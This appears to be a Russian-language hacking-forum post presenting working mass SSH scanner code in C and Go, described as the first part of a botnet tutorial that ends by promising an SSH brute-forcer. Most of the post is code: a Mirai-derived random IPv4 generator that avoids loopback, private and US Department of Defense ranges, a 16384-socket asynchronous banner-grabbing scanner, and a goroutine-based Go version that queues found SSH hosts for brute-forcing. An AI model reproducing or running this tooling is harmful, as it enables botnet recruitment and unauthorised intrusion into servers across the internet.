Пришла мысль поделиться своим опытом в сканнинге и брутфорсе по SSH. В сети дофига ботнетов, которые успешно брутят, а статей мало. Пора бы это исправить.
В первой статье обьясню сканнер на C, а потом на Go.
Но все внимание будет на C, так как там сложнее всего.
Все исходники есть на pastebin :
pastebin.com
cock.fd - сокет,
cock.iport - индекс в активного порта в PORTS, cock.timec - для timeoutа
rip_me() дает рандомный ipv4 адрес. Взял из mirai, удобно брать рандомный ip из сети и сканить, особенно для ботнетов
Это все вспомогательный код, а теперь само ядро сканнера. Он кстати асинхронный, кто не шарит, это когда делаешь все соединения non-blocking.
Я решил не использовать select или poll, хотя так было бы лучше. Например некоторые системы при статической компиляции будут выдавать что-то странное иногда
Код простой и в этом его плюс. Если хотите улучшить, наверняка юзайте лучше в scan_loop что нибудь вроде poll, а не мой велосипед.
А теперь код на Golang. Он еще проще
Обожаю Golang за его горутины. Чорт, да это главная фича go. И код меньше получается, и легче компилировать под разные процессоры.
В следующей статье покажу и обьясню брутфорсер SSH.
В первой статье обьясню сканнер на C, а потом на Go.
Но все внимание будет на C, так как там сложнее всего.
Все исходники есть на pastebin :
graaa - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
C:
/* Это дело дело у нас из mirai, превращает 4 числа, описывающие IP в один uint32_t */
#define INET_ADDR(o1, o2, o3, o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
#define SIZE_PORTS 2 //КОЛ-ВО портов для сканнинга.
#define BUFFER_SIZE 4096
#define TIMEOUT_SCAN 20
struct cock
{
/* Сие чудо описывает подключение для сканнера */
int fd, iport, status;
struct sockaddr_in addr;
time_t timec;
};
enum myconnections
{
mCreated = 0,
mConnecting = 1,
mGrabingBanner = 2
};
int SIZE_QUEUE = 16384; //КОЛ-ВО сокетов для сканнера
uint16_t PORTS[SIZE_PORTS] = {22, 2222}; //ПОРТЫ для сканнера
struct cock* scs;
cock.fd - сокет,
cock.iport - индекс в активного порта в PORTS, cock.timec - для timeoutа
C:
void ext(const char *err) //DEBUG : delete this shiit
{
printf("FATAL: %s\n", err);
exit(0);
}
uint32_t rip_me() //удобный код из mirai
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
} while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22
|| o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49
|| o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1, o2, o3, o4);
}
C:
//Инициализирует cock новым IP
void cock_init(uint32_t ip, struct cock *dt)
{
if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
ext("socket");
fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0)); // non-blocking режим
dt->iport = 0; // Ставим порт в PORTS[0]
dt->addr.sin_addr.s_addr = ip;
dt->addr.sin_port = PORTS[0];
dt->addr.sin_family = AF_INET;
bzero(dt->addr.sin_zero, 8);
dt->status = mCreated;
}
// Меняет порт cock на следующий
void recycle(struct cock *dt)
{
if (++dt->iport >= SIZE_PORTS)
return cock_init(rip_me(), dt);
dt->addr.sin_port = PORTS[dt->iport]; // Новый порт для сканнинга
if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
ext("socket");
fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0)); // non-blocking режим
dt->status = mCreated;
}
void scan_init()
{
expandLimitFD();
for (int i = 0; i < SIZE_PORTS; i++)
PORTS[i] = htons(PORTS[i]); // Переводим расположение байтов в сетевой заранее
scs = (struct cock *)malloc(sizeof(struct cock) * SIZE_QUEUE);
for (int ind = 0; ind < SIZE_QUEUE; ind++)
cock_init(rip_me(), scs + ind); //
}
void addToQUEUE(struct sockaddr_in*addr){
//Добавляем в очередь для брутфорса например SSH
//Во второй статье накалякую
}
//По умолчанию некоторые системы имеют лимит на создание большого кол-во сокетов, поэтому будет мануально расширим их)
void expandLimitFD()
{
struct rlimit rl;
getrlimit(RLIMIT_NOFILE, &rl);
rlim_t myLimit =SIZE_QUEUE + 128; // + SIZE_QUEUE_SSH
if (rl.rlim_cur >= myLimit)
return;
rl.rlim_cur = myLimit;
if (rl.rlim_max <= myLimit)
{
rl.rlim_max = rl.rlim_cur + 5;
if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
ext("COULDn't expand FD.\n Make my code BETTER!!!\n");
}
else
setrlimit(RLIMIT_NOFILE, &rl);
}
Это все вспомогательный код, а теперь само ядро сканнера. Он кстати асинхронный, кто не шарит, это когда делаешь все соединения non-blocking.
Я решил не использовать select или poll, хотя так было бы лучше. Например некоторые системы при статической компиляции будут выдавать что-то странное иногда
C:
void *scan_loop(void *Pargs)
{
int cnr, err = 0;
struct cock *dt;
buffer = (char *)malloc(BUFFER_SIZE + 1);
const char *hi = "pm\0";
for (int x = 0;; x++){
if (x >= SIZE_QUEUE){
x = 0;
}
usleep(10);
dt = &(scs[x]);
if (dt->status != mGrabingBanner)
cnr = connect(dt->fd, (struct sockaddr *)&(dt->addr), sizeof(struct sockaddr_in));
if(dt->status == mCreated){
dt->status = mConnecting;
dt->timec = time(NULL);
}else if(dt->status == mConnecting){
err = errno;
if ((cnr == -1 && err == EISCONN) || cnr == 0)//CONNECTED!!
{
write(dt->fd, hi, 3);
dt->timec = time(NULL);
dt->status = mGrabingBanner;
}
else if(time(NULL) - dt->timec >= TIMEOUT_SCAN)
goto new_ip;
else if(cnr == -1 && err == 0)
continue;
else if (err == ECONNREFUSED || (cnr == -1 && err != EINPROGRESS && err != EALREADY) ) // Ошибка подключения
goto new_ip;
}else if(dt->status == mGrabingBanner){
err = read(dt->fd, buffer, BUFFER_SIZE);
if (err > 0)
{
buffer[err] = '\0';
if (strstr(buffer, "SSH") != NULL) // нашли ssh
addToQUEUE(&(dt->addr));
goto new_ip;
}
else if (time(NULL) - dt->timec >= TIMEOUT_SCAN)
goto new_ip;
}
continue;
new_ip:
close(dt->fd);
recycle(dt);
}
return NULL;
}
А теперь код на Golang. Он еще проще
C:
func checkSSH(target string, conn net.Conn) {
conn.Write([]byte("pm"))
bytebuf := make([]byte, 2048)
l, err := conn.Read(bytebuf)
if err != nil || l <= 0 {
return
}
if strings.Contains(string(bytebuf), "SSH"){
//Нашли
}
}
func getRIP() string {
for {
var o1, o2, o3, o4 int
o1 = rand.Intn(255)
if o1 == 127 || o1 == 0 || o1 == 15 || o1 == 56 || o1 == 16 || o1 == 10 || o1 >= 224 || o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49 || o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215 {
continue
}
o2 = rand.Intn(255)
o3 = rand.Intn(255)
o4 = rand.Intn(255)
if (o1 == 192 && o2 == 168) || (o1 == 172 && o2 >= 16 && o2 < 32) || (o1 == 100 && o2 >= 64 && o2 < 127) || (o1 == 169 && o2 > 254) || (o1 == 198 && o2 >= 18 && o2 < 20) {
continue
}
return strconv.Itoa(o1) + "." + strconv.Itoa(o2) + "." + strconv.Itoa(o3) + "." + strconv.Itoa(o4)
}
}
func checkPorts(ports []string, ip string, isCanceled chan int) {
rand.Seed(time.Now().UnixNano())
var prt, target string
for i := 0; i < len(ports); i += 1 {
prt = ports[i]
target = ip + ":" + prt
conn, err := net.DialTimeout("tcp", ip+":"+prt, time.Second*10)
if err != nil {
continue
}
checkSSH(target, conn)
conn.Close()
}
isCanceled <- 1
}
func myScanner(ports []string) {
workers := make([]chan int, 16384)
for w := range workers {
workers[w] = make(chan int)
go checkPorts(ports, getRIP(), workers[w])
}
for {
for w := 0; w < len(workers); w += 1 {
select {
case state := <-workers[w]:
go checkPorts(ports, getRIP(), workers[w])
_ = state
default:
}
time.Sleep(time.Millisecond * 10)
}
}
}
func main() {
myScanner([]string{"22", "2222"})
}
В следующей статье покажу и обьясню брутфорсер SSH.